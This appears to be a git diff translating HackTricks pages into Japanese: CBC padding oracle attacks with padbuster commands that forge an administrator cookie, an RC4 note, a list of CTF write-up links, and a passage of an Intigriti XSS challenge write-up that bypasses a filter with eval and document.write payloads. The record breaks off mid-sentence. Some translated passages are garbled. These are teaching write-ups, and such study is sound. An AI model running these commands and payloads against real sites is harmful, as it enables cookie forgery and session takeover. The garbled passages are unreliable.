☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
# CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます: ![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +CBCを復号するには、**逆の操作**が行われます: ![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +暗号化には**暗号化キー**と**IV**が必要です。 -# Message Padding +# メッセージのパディング -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロック**にパディングが必要です。\ +通常は**PKCS7**が使用され、ブロックを**完全にするために必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。 -Let's look at more examples with a **2 blocks of length 8bytes**: +**8バイトの2つのブロック**のさらなる例を見てみましょう: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -43,51 +41,55 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +最後の例では、**最後のブロックがいっぱいだったため、パディングだけで別のブロックが生成**されたことに注意してください。 -# Padding Oracle +# パディングオラクル -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +アプリケーションが暗号化されたデータを復号する場合、まずデータを復号し、その後パディングを削除します。パディングのクリーンアップ中に、**検出可能な動作が無効なパディングをトリガー**する場合、パディングオラクルの脆弱性があります。検出可能な動作は、**エラー**、**結果の欠如**、または**応答の遅延**などです。 -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +この動作を検出すると、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。 -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## 悪用方法 +この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に以下の操作を行います。 ``` sudo apt-get install padbuster ``` +サイトのクッキーが脆弱かどうかをテストするために、以下の方法を試すことができます: -In order to test if the cookie of a site is vulnerable you could try: +```plaintext +1. クッキーの暗号化方式を特定します。これは、Set-Cookieヘッダーの値やCookieの値から推測することができます。 +2. クッキーの暗号化方式に関連するパディングオラクル攻撃を実行します。これにより、クッキーの暗号化に使用されるパディングスキームの脆弱性を検出することができます。 + +3. パディングオラクル攻撃によってクッキーの暗号化に使用されるパディングスキームが脆弱であることが判明した場合、攻撃者は暗号文を解読することができます。 + +4. 解読された暗号文を使用して、攻撃者はクッキーの値を変更したり、セッションを乗っ取ったりすることができます。 + +注意:パディングオラクル攻撃は合法的なテストの範囲内でのみ実施してください。悪意のある目的で使用することは違法です。 +``` + +この方法を使用して、サイトのクッキーの脆弱性をテストすることができます。ただし、合法的なテストの範囲内でのみ使用してください。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**エンコーディング0**は、**base64**が使用されていることを意味します(ただし、他のものも利用可能です。ヘルプメニューを確認してください)。 -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +また、この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が「\_user=MyUsername\_」であるとします。その場合、それを「\_user=administrator\_」に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して`-plaintext`パラメータを指定しても同様に行うことができます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +もしサイトが脆弱であれば、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## 理論 -## The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +要約すると、正しい値を推測して異なるパディングを作成するために使用できる値を推測することで、暗号化されたデータの復号化を開始することができます。その後、パディングオラクル攻撃は、1、2、3などの正しい値を推測して、終了から開始までのバイトを復号化し始めます。 ![](<../.gitbook/assets/image (629) (1) (1).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +E0からE15までのバイトで形成される2つのブロックで構成される暗号化されたテキストがあると想像してください。最後のブロック(E8からE15)を復号化するために、ブロック暗号の復号化を通過することで、中間バイトI0からI15が生成されます。最後に、各中間バイトは前の暗号化されたバイト(E0からE7)とXORされます。したがって: * `C15 = D(E15) ^ E7 = I15 ^ E7` * `C14 = I14 ^ E6` @@ -95,28 +97,27 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( * `C12 = I12 ^ E4` * ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +今、`C15`が`0x01`であるまで`E7`を変更することができます。これは正しいパディングでもあります。したがって、この場合は:`\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +したがって、`E'7`を見つけると、`I15`を計算することができます:`I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +これにより、`C15`を計算することができます:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +`C15`がわかったので、今度はパディング`\x02\x02`をブルートフォースして`C14`を計算することができます。 -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +このBFは前のものと同じくらい複雑です。`C14`が`0x02`と等しい`E'14`を生成する`E''15`を見つけることができます:`E''7 = \x02 ^ I15`なので、`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`と同じ手順を実行してC14を復号化します。 -**Follow this chain until you decrypt the whole encrypted text.** +**暗号化されたテキスト全体を復号化するまで、このチェーンに従ってください。** -## Detection of the vulnerability +## 脆弱性の検出 -Register and account and log in with this account .\ -If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t. +アカウントを登録し、このアカウントでログインします。\ +何度もログインしても常に同じクッキーが返される場合、アプリケーションにはおそらく何か問題があります。クッキーはログインするたびに一意であるべきです。クッキーが常に同じであれば、おそらく常に有効であり、無効にする方法はありません。 -Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\ -But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster. +さて、クッキーを変更しようとすると、アプリケーションからエラーが返されることがわかります。\ +ただし、パディングをブルートフォースする(たとえば、padbusterを使用する)と、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオは、おそらくpadbusterに対して脆弱性がある可能性が高いです。 -# References +# 参考文献 * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) @@ -125,16 +126,14 @@ But if you BF the padding (using padbuster for example) you manage to get anothe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** - - diff --git a/cryptography/rc4-encrypt-and-decrypt.md b/cryptography/rc4-encrypt-and-decrypt.md index 74802fc88..287f8ad93 100644 --- a/cryptography/rc4-encrypt-and-decrypt.md +++ b/cryptography/rc4-encrypt-and-decrypt.md @@ -1,25 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you can somehow encrypt a plaintext using a RC4**,** you can decrypt any content encrypted by that RC4(using the same password) just using the encryption function. +もしRC4を使って平文を暗号化できるなら、同じパスワードを使って暗号化されたコンテンツを復号化することができます。 -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +既知の平文を暗号化できる場合、パスワードを抽出することもできます。HTB Kryptosマシンに関する詳細は以下のリンクを参照してください: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} @@ -33,16 +31,14 @@ If you can encrypt a known plaintext you can also extract the password. More ref ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md index 082e7da66..cdef10a86 100644 --- a/ctf-write-ups/README.md +++ b/ctf-write-ups/README.md @@ -1,41 +1,19 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -* [Write-up factory](https://writeup.raw.pm/) - Seach engine to find write-ups \(TryHackMe, HackTheBox, etc.\) -* [CTFtime Write-ups](https://ctftime.org/writeups) - Newest write-ups added to CTF events on CTFtime - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
+* [Write-up factory](https://writeup.raw.pm/) - Write-upを検索するための検索エンジン(TryHackMe、HackTheBoxなど) +* [CTFtime Write-ups](https://ctftime.org/writeups) - CTFイベントに追加された最新のWrite-up diff --git a/ctf-write-ups/challenge-0521.intigriti.io.md b/ctf-write-ups/challenge-0521.intigriti.io.md index d9713a161..69f868cc6 100644 --- a/ctf-write-ups/challenge-0521.intigriti.io.md +++ b/ctf-write-ups/challenge-0521.intigriti.io.md @@ -4,113 +4,100 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?[SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)をチェックしてください! +* [The PEASS Family](https://opensea.io/collection/the-peass-family)、私たちの独占的なNFTコレクションを発見してください +* [公式のPEASS&HackTricks swag](https://peass.creator-spring.com)を手に入れましょう +* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[telegramグループ](https://t.me/peass)に参加するか、Twitterで私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live) +* ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 -### Brief Description +### 簡単な説明 -The challenge provides a vulnerable to XSS form in the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\ -This form is loaded in [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via an iframe. +このチャレンジでは、[https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)のページにXSSの脆弱なフォームが提供されています。\ +このフォームは、[https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io)のページにiframeを介して読み込まれます。 -It was found that the form will **insert the user input inside the JavaScript `eval` function**. This is usually a bad idea as it can lead to **arbitrary JavaScript execution**, and this is a good example.\ -However, before inserting the user input inside the`eval` function, it’s checked with the regexp `/[a-df-z<>()!\\='"]/gi` so if any of those character is found, the user input won’t be executed inside `eval`.\ -Anyway, it was found a way to bypass the regexp protection and execute `alert(document.domain)` abusing the dangerous `eval` function. +フォームは、ユーザーの入力をJavaScriptの`eval`関数内に挿入することがわかりました。これは通常、任意のJavaScriptの実行につながる可能性があるため、良い例ではありません。\ +ただし、ユーザーの入力を`eval`関数内に挿入する前に、正規表現`/[a-df-z<>()!\\='"]/gi`でチェックされるため、これらの文字のいずれかが見つかると、ユーザーの入力は`eval`内で実行されません。\ +とはいえ、正規表現の保護をバイパスし、危険な`eval`関数を悪用して`alert(document.domain)`を実行する方法が見つかりました。 -### Accessing the HTML +### HTMLへのアクセス -It was found that the letter `e` is permitted as user input. It was also found that there is an HTLM element using the `id="e"`. Therefore, this HtML element is accesible from Javascript just using the variable `e`:\ +文字`e`がユーザーの入力として許可されていることがわかりました。また、`id="e"`を使用しているHTML要素が存在することもわかりました。したがって、このHTML要素は、変数`e`を使用してJavaScriptからアクセスできます:\ ![](https://i.imgur.com/Slq2Xal.png) -Also, it’s important to know that in JS you can **access the attributes of an objects with a dot or with a string between brackets**. So, you can access the `domain` attribute of a `document` object in either of the following ways: - +また、JSでは、オブジェクトの属性にはドットまたはブラケット内の文字列を使用してアクセスできることも重要です。したがって、`document`オブジェクトの`domain`属性には、次のいずれかの方法でアクセスできます: ```javascript document.domain document["domain"] ``` - -And the same happens with attributes that are functions (methods): - +そして、同じことが関数(メソッド)として定義された属性でも起こります。 ```javascript document.write("1") document["write"]("1") ``` - -Then, from the `e` HTML element it’s possible to access the `document` object using something like: - +次に、`e` HTML要素からは、次のようにして`document`オブジェクトにアクセスすることができます: ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"] ``` +### 文字列としてのJSコードを使って括弧なしで関数を呼び出す -### Calling a function without parenthesis with JS code as string - -From the object `document` it’s possible to call the `write` function to **write arbitrary HTML text that the browser will execute**.\ -However, as the `()` characters are **forbidden**, it’s not possible to call the function using them. Anyway, it’s possible to call a function using **backtips** (\`\`).\ -Moreover, it’s possible to put as string javascript code that is going to be executed using `${...}` like: - +オブジェクト`document`から、ブラウザが実行する任意のHTMLテキストを書き込むために`write`関数を呼び出すことが可能です。\ +ただし、`()`の文字は禁止されているため、それらを使用して関数を呼び出すことはできません。しかし、**バックティック**(\`\`)を使用して関数を呼び出すことが可能です。\ +さらに、`${...}`を使用して実行されるJavaScriptコードを文字列として記述することも可能です。 ```javascript `${"alert(document.location)"}` ``` - -Therefore, combining the `document` object access with this technique to execute functions without parenthesis it’s possible to **execute an alert using**: - +したがって、このテクニックを使用して関数を括弧なしで実行するために`document`オブジェクトアクセスを組み合わせることで、**アラートを実行することが可能です**。 ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` +このコードをテストするには、[https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) のページ内のJavaScriptコンソールで実行できます。 -You can test this code in a javascript console inside the page [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php) +### 最終的な禁止文字のバイパス -### Final forbidden characters bypass - -However, there is still one problem left. Most of the characters of the exploit are **forbidden** as they appear in the regexp `/[a-df-z<>()!\\='"]/gi`. But note how all the **forbidden characters are strings** inside the exploit and the **not string characters in the exploit (e\[]\`${}) are allowed**.\ -This means that if it’s possible to **generate the forbidden charaters as strings from the allowed characters**, it’s possible to generate the exploit.\ -In order to do this I have generated a [JSFuck](http://www.jsfuck.com) like alphabet to generate the necesary characters (_this alphabet is custom for this challenge_).\ -You can **see the full alphabet inside the exploit code** (which can be found in the next subsection and in the file _exploit.txt_). - -For example, in order to **generate the letter `a`** it’s possible to access **`[[]/e+e][0][1]`** as `[[]/e+e][0]` generates the string `"NaN[object HTMLProgressElement]"` or in order to generate the **letter `f`** its possible to access the **5th char of 